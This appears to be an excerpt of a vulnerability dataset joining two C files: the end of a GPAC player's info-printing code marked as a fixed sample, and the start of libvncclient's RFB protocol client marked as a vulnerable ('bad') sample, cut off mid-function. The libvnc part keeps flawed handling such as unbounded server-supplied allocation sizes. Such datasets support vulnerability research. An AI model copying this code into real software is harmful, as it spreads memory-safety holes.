odi.service_url); if (odi.codec_name) { Float avg_dec_time; switch (odi.od_type) { case GF_STREAM_VISUAL: fprintf(stderr, "Video Object: Width %d - Height %d\r\n", odi.width, odi.height); fprintf(stderr, "Media Codec: %s\n", odi.codec_name); if (odi.par) fprintf(stderr, "Pixel Aspect Ratio: %d:%d\n", (odi.par>>16)&0xFF, (odi.par)&0xFF); break; case GF_STREAM_AUDIO: fprintf(stderr, "Audio Object: Sample Rate %d - %d channels\r\n", odi.sample_rate, odi.num_channels); fprintf(stderr, "Media Codec: %s\n", odi.codec_name); break; case GF_STREAM_SCENE: case GF_STREAM_PRIVATE_SCENE: if (odi.width && odi.height) { fprintf(stderr, "Scene Description - Width %d - Height %d\n", odi.width, odi.height); } else { fprintf(stderr, "Scene Description - no size specified\n"); } fprintf(stderr, "Scene Codec: %s\n", odi.codec_name); break; case GF_STREAM_TEXT: if (odi.width && odi.height) { fprintf(stderr, "Text Object: Width %d - Height %d\n", odi.width, odi.height); } else { fprintf(stderr, "Text Object: No size specified\n"); } fprintf(stderr, "Text Codec %s\n", odi.codec_name); break; } avg_dec_time = 0; if (odi.nb_dec_frames) { avg_dec_time = (Float) odi.total_dec_time; avg_dec_time /= odi.nb_dec_frames; } fprintf(stderr, "\tBitrate over last second: %d kbps\n\tMax bitrate over one second: %d kbps\n\tAverage Decoding Time %.2f us %d max)\n\tTotal decoded frames %d\n", (u32) odi.avg_bitrate/1024, odi.max_bitrate/1024, avg_dec_time, odi.max_dec_time, odi.nb_dec_frames); } if (odi.protection) fprintf(stderr, "Encrypted Media%s\n", (odi.protection==2) ? " NOT UNLOCKED" : ""); count = gf_list_count(odi.od->ESDescriptors); fprintf(stderr, "%d streams in OD\n", count); for (i=0; i<count; i++) { GF_ESD *esd = (GF_ESD *) gf_list_get(odi.od->ESDescriptors, i); fprintf(stderr, "\nStream ID %d - Clock ID %d\n", esd->ESID, esd->OCRESID); if (esd->dependsOnESID) fprintf(stderr, "\tDepends on Stream ID %d for decoding\n", esd->dependsOnESID); switch (esd->decoderConfig->streamType) { case GF_STREAM_OD: fprintf(stderr, "\tOD Stream - version %d\n", esd->decoderConfig->objectTypeIndication); break; case GF_STREAM_OCR: fprintf(stderr, "\tOCR Stream\n"); break; case GF_STREAM_SCENE: fprintf(stderr, "\tScene Description Stream - version %d\n", esd->decoderConfig->objectTypeIndication); break; case GF_STREAM_VISUAL: fprintf(stderr, "\tVisual Stream - media type: %s", gf_esd_get_textual_description(esd)); break; case GF_STREAM_AUDIO: fprintf(stderr, "\tAudio Stream - media type: %s", gf_esd_get_textual_description(esd)); break; case GF_STREAM_MPEG7: fprintf(stderr, "\tMPEG-7 Stream - version %d\n", esd->decoderConfig->objectTypeIndication); break; case GF_STREAM_IPMP: fprintf(stderr, "\tIPMP Stream - version %d\n", esd->decoderConfig->objectTypeIndication); break; case GF_STREAM_OCI: fprintf(stderr, "\tOCI Stream - version %d\n", esd->decoderConfig->objectTypeIndication); break; case GF_STREAM_MPEGJ: fprintf(stderr, "\tMPEGJ Stream - version %d\n", esd->decoderConfig->objectTypeIndication); break; case GF_STREAM_INTERACT: fprintf(stderr, "\tUser Interaction Stream - version %d\n", esd->decoderConfig->objectTypeIndication); break; case GF_STREAM_TEXT: fprintf(stderr, "\tStreaming Text Stream - version %d\n", esd->decoderConfig->objectTypeIndication); break; default: fprintf(stderr, "\tUnknown Stream\n"); break; } fprintf(stderr, "\tBuffer Size %d\n\tAverage Bitrate %d bps\n\tMaximum Bitrate %d bps\n", esd->decoderConfig->bufferSizeDB, esd->decoderConfig->avgBitrate, esd->decoderConfig->maxBitrate); if (esd->slConfig->predefined==SLPredef_SkipSL) { fprintf(stderr, "\tNot using MPEG-4 Synchronization Layer\n"); } else { fprintf(stderr, "\tStream Clock Resolution %d\n", esd->slConfig->timestampResolution); } if (esd->URLString) fprintf(stderr, "\tStream Location: %s\n", esd->URLString); /*check language*/ if (esd->langDesc) { s32 lang_idx; char lan[4]; lan[0] = esd->langDesc->langCode>>16; lan[1] = (esd->langDesc->langCode>>8)&0xFF; lan[2] = (esd->langDesc->langCode)&0xFF; lan[3] = 0; lang_idx = gf_lang_find(lan); if (lang_idx>=0) { fprintf(stderr, "\tStream Language: %s\n", gf_lang_get_name(lang_idx)); } } } fprintf(stderr, "\n"); /*check OCI (not everything interests us) - FIXME: support for unicode*/ count = gf_list_count(odi.od->OCIDescriptors); if (count) { fprintf(stderr, "%d Object Content Information descriptors in OD\n", count); for (i=0; i<count; i++) { GF_Descriptor *desc = (GF_Descriptor *) gf_list_get(odi.od->OCIDescriptors, i); switch (desc->tag) { case GF_ODF_SEGMENT_TAG: { GF_Segment *sd = (GF_Segment *) desc; fprintf(stderr, "Segment Descriptor: Name: %s - start time %g sec - duration %g sec\n", sd->SegmentName, sd->startTime, sd->Duration); } break; case GF_ODF_CC_NAME_TAG: { GF_CC_Name *ccn = (GF_CC_Name *)desc; fprintf(stderr, "Content Creators:\n"); for (j=0; j<gf_list_count(ccn->ContentCreators); j++) { GF_ContentCreatorInfo *ci = (GF_ContentCreatorInfo *) gf_list_get(ccn->ContentCreators, j); if (!ci->isUTF8) continue; fprintf(stderr, "\t%s\n", ci->contentCreatorName); } } break; case GF_ODF_SHORT_TEXT_TAG: { GF_ShortTextual *std = (GF_ShortTextual *)desc; fprintf(stderr, "Description:\n\tEvent: %s\n\t%s\n", std->eventName, std->eventText); } break; default: break; } } fprintf(stderr, "\n"); } switch (odi.status) { case 0: fprintf(stderr, "Stopped - "); break; case 1: fprintf(stderr, "Playing - "); break; case 2: fprintf(stderr, "Paused - "); break; case 3: fprintf(stderr, "Not setup yet\n"); return; default: fprintf(stderr, "Setup Failed\n"); return; } if (odi.buffer>=0) fprintf(stderr, "Buffer: %d ms - ", odi.buffer); else fprintf(stderr, "Not buffering - "); fprintf(stderr, "Clock drift: %d ms\n", odi.clock_drift); if (odi.db_unit_count) fprintf(stderr, "%d AU in DB\n", odi.db_unit_count); if (odi.cb_max_count) fprintf(stderr, "Composition Buffer: %d CU (%d max)\n", odi.cb_unit_count, odi.cb_max_count); fprintf(stderr, "\n"); if (odi.owns_service) { const char *url; u32 done, total, bps; d_enum = 0; while (gf_term_get_download_info(term, odm, &d_enum, &url, NULL, &done, &total, &bps)) { if (d_enum==1) fprintf(stderr, "Current Downloads in service:\n"); if (done && total) { fprintf(stderr, "%s: %d / %d bytes (%.2f %%) - %.2f kBps\n", url, done, total, (100.0f*done)/total, ((Float)bps)/1024.0f); } else { fprintf(stderr, "%s: %.2f kbps\n", url, ((Float)8*bps)/1024.0f); } } if (!d_enum) fprintf(stderr, "No Downloads in service\n"); fprintf(stderr, "\n"); } d_enum = 0; while (gf_term_get_channel_net_info(term, odm, &d_enum, &id, &com, &e)) { if (e) continue; if (!com.bw_down && !com.bw_up) continue; fprintf(stderr, "Stream ID %d statistics:\n", id); if (com.multiplex_port) { fprintf(stderr, "\tMultiplex Port %d - multiplex ID %d\n", com.multiplex_port, com.port); } else { fprintf(stderr, "\tPort %d\n", com.port); } fprintf(stderr, "\tPacket Loss Percentage: %.4f\n", com.pck_loss_percentage); fprintf(stderr, "\tDown Bandwidth: %d bps\n", com.bw_down); if (com.bw_up) fprintf(stderr, "\tUp Bandwidth: %d bps\n", com.bw_up); if (com.ctrl_port) { if (com.multiplex_port) { fprintf(stderr, "\tControl Multiplex Port: %d - Control Multiplex ID %d\n", com.multiplex_port, com.ctrl_port); } else { fprintf(stderr, "\tControl Port: %d\n", com.ctrl_port); } fprintf(stderr, "\tDown Bandwidth: %d bps\n", com.ctrl_bw_down); fprintf(stderr, "\tUp Bandwidth: %d bps\n", com.ctrl_bw_up); } fprintf(stderr, "\n"); } } void PrintODTiming(GF_Terminal *term, GF_ObjectManager *odm, u32 indent) { GF_MediaInfo odi; u32 ind = indent; u32 i, count; if (!odm) return; if (gf_term_get_object_info(term, odm, &odi) != GF_OK) return; if (!odi.od) { fprintf(stderr, "Service not attached\n"); return; } while (ind) { fprintf(stderr, " "); ind--; } if (! odi.generated_scene) { fprintf(stderr, "- OD %d: ", odi.od->objectDescriptorID); switch (odi.status) { case 1: fprintf(stderr, "Playing - "); break; case 2: fprintf(stderr, "Paused - "); break; default: fprintf(stderr, "Stopped - "); break; } if (odi.buffer>=0) fprintf(stderr, "Buffer: %d ms - ", odi.buffer); else fprintf(stderr, "Not buffering - "); fprintf(stderr, "Clock drift: %d ms", odi.clock_drift); fprintf(stderr, " - time: "); PrintTime((u32) (odi.current_time*1000)); fprintf(stderr, "\n"); } else { fprintf(stderr, "+ Service %s:\n", odi.service_url); } count = gf_term_get_object_count(term, odm); for (i=0; i<count; i++) { GF_ObjectManager *an_odm = gf_term_get_object(term, odm, i); PrintODTiming(term, an_odm, indent+1); } return; } void PrintODBuffer(GF_Terminal *term, GF_ObjectManager *odm, u32 indent) { Float avg_dec_time; GF_MediaInfo odi; u32 ind, i, count; if (!odm) return; if (gf_term_get_object_info(term, odm, &odi) != GF_OK) return; if (!odi.od) { fprintf(stderr, "Service not attached\n"); return; } ind = indent; while (ind) { fprintf(stderr, " "); ind--; } if (odi.generated_scene) { fprintf(stderr, "+ Service %s:\n", odi.service_url); } else { fprintf(stderr, "- OD %d: ", odi.od->objectDescriptorID); switch (odi.status) { case 1: fprintf(stderr, "Playing"); break; case 2: fprintf(stderr, "Paused"); break; default: fprintf(stderr, "Stopped"); break; } if (odi.buffer>=0) fprintf(stderr, " - Buffer: %d ms", odi.buffer); if (odi.db_unit_count) fprintf(stderr, " - DB: %d AU", odi.db_unit_count); if (odi.cb_max_count) fprintf(stderr, " - CB: %d/%d CUs", odi.cb_unit_count, odi.cb_max_count); fprintf(stderr, "\n"); ind = indent; while (ind) { fprintf(stderr, " "); ind--; } fprintf(stderr, " %d decoded frames - %d dropped frames\n", odi.nb_dec_frames, odi.nb_dropped); ind = indent; while (ind) { fprintf(stderr, " "); ind--; } avg_dec_time = 0; if (odi.nb_dec_frames) { avg_dec_time = (Float) odi.total_dec_time; avg_dec_time /= odi.nb_dec_frames; } fprintf(stderr, " Avg Bitrate %d kbps (%d max) - Avg Decoding Time %.2f us (%d max)\n", (u32) odi.avg_bitrate/1024, odi.max_bitrate/1024, avg_dec_time, odi.max_dec_time); } count = gf_term_get_object_count(term, odm); for (i=0; i<count; i++) { GF_ObjectManager *an_odm = gf_term_get_object(term, odm, i); PrintODBuffer(term, an_odm, indent+1); } } void ViewODs(GF_Terminal *term, Bool show_timing) { GF_ObjectManager *root_odm = gf_term_get_root_object(term); if (!root_odm) return; if (show_timing) { PrintODTiming(term, root_odm, 0); } else { PrintODBuffer(term, root_odm, 0); } fprintf(stderr, "\n"); } void PrintGPACConfig() { u32 i, j, cfg_count, key_count; char szName[200]; char *secName = NULL; fprintf(stderr, "Enter section name (\"*\" for complete dump):\n"); if (1 > scanf("%s", szName)) { fprintf(stderr, "No section name, aborting.\n"); return; } if (strcmp(szName, "*")) secName = szName; fprintf(stderr, "\n\n*** GPAC Configuration ***\n\n"); cfg_count = gf_cfg_get_section_count(cfg_file); for (i=0; i<cfg_count; i++) { const char *sec = gf_cfg_get_section_name(cfg_file, i); if (secName) { if (stricmp(sec, secName)) continue; } else { if (!stricmp(sec, "General")) continue; if (!stricmp(sec, "MimeTypes")) continue; if (!stricmp(sec, "RecentFiles")) continue; } fprintf(stderr, "[%s]\n", sec); key_count = gf_cfg_get_key_count(cfg_file, sec); for (j=0; j<key_count; j++) { const char *key = gf_cfg_get_key_name(cfg_file, sec, j); const char *val = gf_cfg_get_key(cfg_file, sec, key); fprintf(stderr, "%s=%s\n", key, val); } fprintf(stderr, "\n"); } }
./CrossVul/dataset_final_sorted/CWE-787/c/good_526_0
crossvul-cpp_data_bad_521_0
/* * Copyright (C) 2000-2002 Constantin Kaplinsky. All Rights Reserved. * Copyright (C) 2000 Tridia Corporation. All Rights Reserved. * Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved. * * This is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This software is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this software; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, * USA. */ /* * rfbproto.c - functions to deal with client side of RFB protocol. */ #ifdef __STRICT_ANSI__ #define _BSD_SOURCE #define _POSIX_SOURCE #define _XOPEN_SOURCE 600 #endif #ifndef WIN32 #include <unistd.h> #include <sys/types.h> #include <sys/stat.h> #include <pwd.h> #endif #include <errno.h> #include <rfb/rfbclient.h> #ifdef WIN32 #undef SOCKET #undef socklen_t #endif #ifdef LIBVNCSERVER_HAVE_LIBZ #include <zlib.h> #ifdef __CHECKER__ #undef Z_NULL #define Z_NULL NULL #endif #endif #ifndef _MSC_VER /* Strings.h is not available in MSVC */ #include <strings.h> #endif #include <stdarg.h> #include <time.h> #ifdef LIBVNCSERVER_WITH_CLIENT_GCRYPT #include <gcrypt.h> #endif #include "sasl.h" #include "minilzo.h" #include "tls.h" #ifdef _MSC_VER # define snprintf _snprintf /* MSVC went straight to the underscored syntax */ #endif /* * rfbClientLog prints a time-stamped message to the log file (stderr). */ rfbBool rfbEnableClientLogging=TRUE; static void rfbDefaultClientLog(const char *format, ...) { va_list args; char buf[256]; time_t log_clock; if(!rfbEnableClientLogging) return; va_start(args, format); time(&log_clock); strftime(buf, 255, "%d/%m/%Y %X ", localtime(&log_clock)); fprintf(stderr, "%s", buf); vfprintf(stderr, format, args); fflush(stderr); va_end(args); } rfbClientLogProc rfbClientLog=rfbDefaultClientLog; rfbClientLogProc rfbClientErr=rfbDefaultClientLog; /* extensions */ rfbClientProtocolExtension* rfbClientExtensions = NULL; void rfbClientRegisterExtension(rfbClientProtocolExtension* e) { e->next = rfbClientExtensions; rfbClientExtensions = e; } /* client data */ void rfbClientSetClientData(rfbClient* client, void* tag, void* data) { rfbClientData* clientData = client->clientData; while(clientData && clientData->tag != tag) clientData = clientData->next; if(clientData == NULL) { clientData = calloc(sizeof(rfbClientData), 1); clientData->next = client->clientData; client->clientData = clientData; clientData->tag = tag; } clientData->data = data; } void* rfbClientGetClientData(rfbClient* client, void* tag) { rfbClientData* clientData = client->clientData; while(clientData) { if(clientData->tag == tag) return clientData->data; clientData = clientData->next; } return NULL; } static rfbBool HandleRRE8(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleRRE16(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleRRE32(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleCoRRE8(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleCoRRE16(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleCoRRE32(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleHextile8(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleHextile16(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleHextile32(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleUltra8(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleUltra16(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleUltra32(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleUltraZip8(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleUltraZip16(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleUltraZip32(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleTRLE8(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleTRLE15(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleTRLE16(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleTRLE24(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleTRLE24Up(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleTRLE24Down(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleTRLE32(rfbClient* client, int rx, int ry, int rw, int rh); #ifdef LIBVNCSERVER_HAVE_LIBZ static rfbBool HandleZlib8(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleZlib16(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleZlib32(rfbClient* client, int rx, int ry, int rw, int rh); #ifdef LIBVNCSERVER_HAVE_LIBJPEG static rfbBool HandleTight8(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleTight16(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleTight32(rfbClient* client, int rx, int ry, int rw, int rh); static long ReadCompactLen (rfbClient* client); #endif static rfbBool HandleZRLE8(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleZRLE15(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleZRLE16(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleZRLE24(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleZRLE24Up(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleZRLE24Down(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleZRLE32(rfbClient* client, int rx, int ry, int rw, int rh); #endif /* * Server Capability Functions */ rfbBool SupportsClient2Server(rfbClient* client, int messageType) { return (client->supportedMessages.client2server[((messageType & 0xFF)/8)] & (1<<(messageType % 8)) ? TRUE : FALSE); } rfbBool SupportsServer2Client(rfbClient* client, int messageType) { return (client->supportedMessages.server2client[((messageType & 0xFF)/8)] & (1<<(messageType % 8)) ? TRUE : FALSE); } void SetClient2Server(rfbClient* client, int messageType) { client->supportedMessages.client2server[((messageType & 0xFF)/8)] |= (1<<(messageType % 8)); } void SetServer2Client(rfbClient* client, int messageType) { client->supportedMessages.server2client[((messageType & 0xFF)/8)] |= (1<<(messageType % 8)); } void ClearClient2Server(rfbClient* client, int messageType) { client->supportedMessages.client2server[((messageType & 0xFF)/8)] &= (!(1<<(messageType % 8))); } void ClearServer2Client(rfbClient* client, int messageType) { client->supportedMessages.server2client[((messageType & 0xFF)/8)] &= (!(1<<(messageType % 8))); } void DefaultSupportedMessages(rfbClient* client) { memset((char *)&client->supportedMessages,0,sizeof(client->supportedMessages)); /* Default client supported messages (universal RFB 3.3 protocol) */ SetClient2Server(client, rfbSetPixelFormat); /* SetClient2Server(client, rfbFixColourMapEntries); Not currently supported */ SetClient2Server(client, rfbSetEncodings); SetClient2Server(client, rfbFramebufferUpdateRequest); SetClient2Server(client, rfbKeyEvent); SetClient2Server(client, rfbPointerEvent); SetClient2Server(client, rfbClientCutText); /* technically, we only care what we can *send* to the server * but, we set Server2Client Just in case it ever becomes useful */ SetServer2Client(client, rfbFramebufferUpdate); SetServer2Client(client, rfbSetColourMapEntries); SetServer2Client(client, rfbBell); SetServer2Client(client, rfbServerCutText); } void DefaultSupportedMessagesUltraVNC(rfbClient* client) { DefaultSupportedMessages(client); SetClient2Server(client, rfbFileTransfer); SetClient2Server(client, rfbSetScale); SetClient2Server(client, rfbSetServerInput); SetClient2Server(client, rfbSetSW); SetClient2Server(client, rfbTextChat); SetClient2Server(client, rfbPalmVNCSetScaleFactor); /* technically, we only care what we can *send* to the server */ SetServer2Client(client, rfbResizeFrameBuffer); SetServer2Client(client, rfbPalmVNCReSizeFrameBuffer); SetServer2Client(client, rfbFileTransfer); SetServer2Client(client, rfbTextChat); } void DefaultSupportedMessagesTightVNC(rfbClient* client) { DefaultSupportedMessages(client); SetClient2Server(client, rfbFileTransfer); SetClient2Server(client, rfbSetServerInput); SetClient2Server(client, rfbSetSW); /* SetClient2Server(client, rfbTextChat); */ /* technically, we only care what we can *send* to the server */ SetServer2Client(client, rfbFileTransfer); SetServer2Client(client, rfbTextChat); } #ifndef WIN32 static rfbBool IsUnixSocket(const char *name) { struct stat sb; if(stat(name, &sb) == 0 && (sb.st_mode & S_IFMT) == S_IFSOCK) return TRUE; return FALSE; } #endif /* * ConnectToRFBServer. */ rfbBool ConnectToRFBServer(rfbClient* client,const char *hostname, int port) { if (client->serverPort==-1) { /* serverHost is a file recorded by vncrec. */ const char* magic="vncLog0.0"; char buffer[10]; rfbVNCRec* rec = (rfbVNCRec*)malloc(sizeof(rfbVNCRec)); client->vncRec = rec; rec->file = fopen(client->serverHost,"rb"); rec->tv.tv_sec = 0; rec->readTimestamp = FALSE; rec->doNotSleep = FALSE; if (!rec->file) { rfbClientLog("Could not open %s.\n",client->serverHost); return FALSE; } setbuf(rec->file,NULL); if (fread(buffer,1,strlen(magic),rec->file) != strlen(magic) || strncmp(buffer,magic,strlen(magic))) { rfbClientLog("File %s was not recorded by vncrec.\n",client->serverHost); fclose(rec->file); return FALSE; } client->sock = -1; return TRUE; } #ifndef WIN32 if(IsUnixSocket(hostname)) /* serverHost is a UNIX socket. */ client->sock = ConnectClientToUnixSock(hostname); else #endif { #ifdef LIBVNCSERVER_IPv6 client->sock = ConnectClientToTcpAddr6(hostname, port); if (client->sock == -1) #endif { unsigned int host; /* serverHost is a hostname */ if (!StringToIPAddr(hostname, &host)) { rfbClientLog("Couldn't convert '%s' to host address\n", hostname); return FALSE; } client->sock = ConnectClientToTcpAddr(host, port); } } if (client->sock < 0) { rfbClientLog("Unable to connect to VNC server\n"); return FALSE; } if(client->QoS_DSCP && !SetDSCP(client->sock, client->QoS_DSCP)) return FALSE; return SetNonBlocking(client->sock); } /* * ConnectToRFBRepeater. */ rfbBool ConnectToRFBRepeater(rfbClient* client,const char *repeaterHost, int repeaterPort, const char *destHost, int destPort) { rfbProtocolVersionMsg pv; int major,minor; char tmphost[250]; int tmphostlen; #ifdef LIBVNCSERVER_IPv6 client->sock = ConnectClientToTcpAddr6(repeaterHost, repeaterPort); if (client->sock == -1) #endif { unsigned int host; if (!StringToIPAddr(repeaterHost, &host)) { rfbClientLog("Couldn't convert '%s' to host address\n", repeaterHost); return FALSE; } client->sock = ConnectClientToTcpAddr(host, repeaterPort); } if (client->sock < 0) { rfbClientLog("Unable to connect to VNC repeater\n"); return FALSE; } if (!SetNonBlocking(client->sock)) return FALSE; if (!ReadFromRFBServer(client, pv, sz_rfbProtocolVersionMsg)) return FALSE; pv[sz_rfbProtocolVersionMsg] = 0; /* UltraVNC repeater always report version 000.000 to identify itself */ if (sscanf(pv,rfbProtocolVersionFormat,&major,&minor) != 2 || major != 0 || minor != 0) { rfbClientLog("Not a valid VNC repeater (%s)\n",pv); return FALSE; } rfbClientLog("Connected to VNC repeater, using protocol version %d.%d\n", major, minor); tmphostlen = snprintf(tmphost, sizeof(tmphost), "%s:%d", destHost, destPort); if(tmphostlen < 0 || tmphostlen >= (int)sizeof(tmphost)) return FALSE; /* snprintf error or output truncated */ if (!WriteToRFBServer(client, tmphost, tmphostlen + 1)) return FALSE; return TRUE; } extern void rfbClientEncryptBytes(unsigned char* bytes, char* passwd); extern void rfbClientEncryptBytes2(unsigned char *where, const int length, unsigned char *key); rfbBool rfbHandleAuthResult(rfbClient* client) { uint32_t authResult=0, reasonLen=0; char *reason=NULL; if (!ReadFromRFBServer(client, (char *)&authResult, 4)) return FALSE; authResult = rfbClientSwap32IfLE(authResult); switch (authResult) { case rfbVncAuthOK: rfbClientLog("VNC authentication succeeded\n"); return TRUE; break; case rfbVncAuthFailed: if (client->major==3 && client->minor>7) { /* we have an error following */ if (!ReadFromRFBServer(client, (char *)&reasonLen, 4)) return FALSE; reasonLen = rfbClientSwap32IfLE(reasonLen); reason = malloc((uint64_t)reasonLen+1); if (!ReadFromRFBServer(client, reason, reasonLen)) { free(reason); return FALSE; } reason[reasonLen]=0; rfbClientLog("VNC connection failed: %s\n",reason); free(reason); return FALSE; } rfbClientLog("VNC authentication failed\n"); return FALSE; case rfbVncAuthTooMany: rfbClientLog("VNC authentication failed - too many tries\n"); return FALSE; } rfbClientLog("Unknown VNC authentication result: %d\n", (int)authResult); return FALSE; } static void ReadReason(rfbClient* client) { uint32_t reasonLen; char *reason; /* we have an error following */ if (!ReadFromRFBServer(client, (char *)&reasonLen, 4)) return; reasonLen = rfbClientSwap32IfLE(reasonLen); reason = malloc((uint64_t)reasonLen+1); if (!ReadFromRFBServer(client, reason, reasonLen)) { free(reason); return; } reason[reasonLen]=0; rfbClientLog("VNC connection failed: %s\n",reason); free(reason); } static rfbBool ReadSupportedSecurityType(rfbClient* client, uint32_t *result, rfbBool subAuth) { uint8_t count=0; uint8_t loop=0; uint8_t flag=0; rfbBool extAuthHandler; uint8_t tAuth[256]; char buf1[500],buf2[10]; uint32_t authScheme; rfbClientProtocolExtension* e; if (!ReadFromRFBServer(client, (char *)&count, 1)) return FALSE; if (count==0) { rfbClientLog("List of security types is ZERO, expecting an error to follow\n"); ReadReason(client); return FALSE; } rfbClientLog("We have %d security types to read\n", count); authScheme=0; /* now, we have a list of available security types to read ( uint8_t[] ) */ for (loop=0;loop<count;loop++) { if (!ReadFromRFBServer(client, (char *)&tAuth[loop], 1)) return FALSE; rfbClientLog("%d) Received security type %d\n", loop, tAuth[loop]); if (flag) continue; extAuthHandler=FALSE; for (e = rfbClientExtensions; e; e = e->next) { if (!e->handleAuthentication) continue; uint32_t const* secType; for (secType = e->securityTypes; secType && *secType; secType++) { if (tAuth[loop]==*secType) { extAuthHandler=TRUE; } } } if (tAuth[loop]==rfbVncAuth || tAuth[loop]==rfbNoAuth || extAuthHandler || #if defined(LIBVNCSERVER_HAVE_GNUTLS) || defined(LIBVNCSERVER_HAVE_LIBSSL) tAuth[loop]==rfbVeNCrypt || #endif #ifdef LIBVNCSERVER_HAVE_SASL tAuth[loop]==rfbSASL || #endif /* LIBVNCSERVER_HAVE_SASL */ (tAuth[loop]==rfbARD && client->GetCredential) || (!subAuth && (tAuth[loop]==rfbTLS || (tAuth[loop]==rfbVeNCrypt && client->GetCredential)))) { if (!subAuth && client->clientAuthSchemes) { int i; for (i=0;client->clientAuthSchemes[i];i++) { if (client->clientAuthSchemes[i]==(uint32_t)tAuth[loop]) { flag++; authScheme=tAuth[loop]; break; } } } else { flag++; authScheme=tAuth[loop]; } if (flag) { rfbClientLog("Selecting security type %d (%d/%d in the list)\n", authScheme, loop, count); /* send back a single byte indicating which security type to use */ if (!WriteToRFBServer(client, (char *)&tAuth[loop], 1)) return FALSE; } } } if (authScheme==0) { memset(buf1, 0, sizeof(buf1)); for (loop=0;loop<count;loop++) { if (strlen(buf1)>=sizeof(buf1)-1) break; snprintf(buf2, sizeof(buf2), (loop>0 ? ", %d" : "%d"), (int)tAuth[loop]); strncat(buf1, buf2, sizeof(buf1)-strlen(buf1)-1); } rfbClientLog("Unknown authentication scheme from VNC server: %s\n", buf1); return FALSE; } *result = authScheme; return TRUE; } static rfbBool HandleVncAuth(rfbClient *client) { uint8_t challenge[CHALLENGESIZE]; char *passwd=NULL; int i; if (!ReadFromRFBServer(client, (char *)challenge, CHALLENGESIZE)) return FALSE; if (client->serverPort!=-1) { /* if not playing a vncrec file */ if (client->GetPassword) passwd = client->GetPassword(client); if ((!passwd) || (strlen(passwd) == 0)) { rfbClientLog("Reading password failed\n"); return FALSE; } if (strlen(passwd) > 8) { passwd[8] = '\0'; } rfbClientEncryptBytes(challenge, passwd); /* Lose the password from memory */ for (i = strlen(passwd); i >= 0; i--) { passwd[i] = '\0'; } free(passwd); if (!WriteToRFBServer(client, (char *)challenge, CHALLENGESIZE)) return FALSE; } /* Handle the SecurityResult message */ if (!rfbHandleAuthResult(client)) return FALSE; return TRUE; } static void FreeUserCredential(rfbCredential *cred) { if (cred->userCredential.username) free(cred->userCredential.username); if (cred->userCredential.password) free(cred->userCredential.password); free(cred); } static rfbBool HandlePlainAuth(rfbClient *client) { uint32_t ulen, ulensw; uint32_t plen, plensw; rfbCredential *cred; if (!client->GetCredential) { rfbClientLog("GetCredential callback is not set.\n"); return FALSE; } cred = client->GetCredential(client, rfbCredentialTypeUser); if (!cred) { rfbClientLog("Reading credential failed\n"); return FALSE; } ulen = (cred->userCredential.username ? strlen(cred->userCredential.username) : 0); ulensw = rfbClientSwap32IfLE(ulen); plen = (cred->userCredential.password ? strlen(cred->userCredential.password) : 0); plensw = rfbClientSwap32IfLE(plen); if (!WriteToRFBServer(client, (char *)&ulensw, 4) || !WriteToRFBServer(client, (char *)&plensw, 4)) { FreeUserCredential(cred); return FALSE; } if (ulen > 0) { if (!WriteToRFBServer(client, cred->userCredential.username, ulen)) { FreeUserCredential(cred); return FALSE; } } if (plen > 0) { if (!WriteToRFBServer(client, cred->userCredential.password, plen)) { FreeUserCredential(cred); return FALSE; } } FreeUserCredential(cred); /* Handle the SecurityResult message */ if (!rfbHandleAuthResult(client)) return FALSE; return TRUE; } /* Simple 64bit big integer arithmetic implementation */ /* (x + y) % m, works even if (x + y) > 64bit */ #define rfbAddM64(x,y,m) ((x+y)%m+(x+y<x?(((uint64_t)-1)%m+1)%m:0)) /* (x * y) % m */ static uint64_t rfbMulM64(uint64_t x, uint64_t y, uint64_t m) { uint64_t r; for(r=0;x>0;x>>=1) { if (x&1) r=rfbAddM64(r,y,m); y=rfbAddM64(y,y,m); } return r; } /* (x ^ y) % m */ static uint64_t rfbPowM64(uint64_t b, uint64_t e, uint64_t m) { uint64_t r; for(r=1;e>0;e>>=1) { if(e&1) r=rfbMulM64(r,b,m); b=rfbMulM64(b,b,m); } return r; } static rfbBool HandleMSLogonAuth(rfbClient *client) { uint64_t gen, mod, resp, priv, pub, key; uint8_t username[256], password[64]; rfbCredential *cred; if (!ReadFromRFBServer(client, (char *)&gen, 8)) return FALSE; if (!ReadFromRFBServer(client, (char *)&mod, 8)) return FALSE; if 